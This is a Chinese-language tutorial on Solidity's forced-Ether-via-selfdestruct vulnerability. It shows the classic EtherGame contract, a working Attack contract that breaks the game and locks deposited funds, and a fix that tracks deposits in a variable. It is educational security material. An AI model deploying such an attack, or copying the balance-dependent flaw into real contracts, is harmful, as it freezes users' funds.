selfdestruct函数可以在执行时强制向目标地址转账,从而影响目标合约的正常业务逻辑。(比如合约有基于address(this).balance的业务逻辑)
下面是一个经典的例子:
// SPDX-License-Identifier: MIT
// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.
/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
No one can become the winner.
What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/
pragma solidity ^0.8.10;
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
注释里有合约目的的说明,不再赘述了
代码放到remix中执行,
无论产生winner前有多少人调用过deposit(),
在使用攻击合约Attack.attack()调用seldestruct时,发送代币数量选择任意可以让合约余额大于等于7的值。
这样即可越过deposit()业务逻辑,直接让address(this).balance的值大于7。
因为deposit()中require(balance <= targetAmount, "Game is over");
限制balance要不超过7,所以后来者也无法再次存款,
已经打过款的人也无法claimReward。
合约从而瘫痪,永远无法产生winner
防止攻击方法:
别直接用全局address(this).balance了呗!用变量重新统计进入deposit逻辑的代币数。
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
balance += msg.value;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
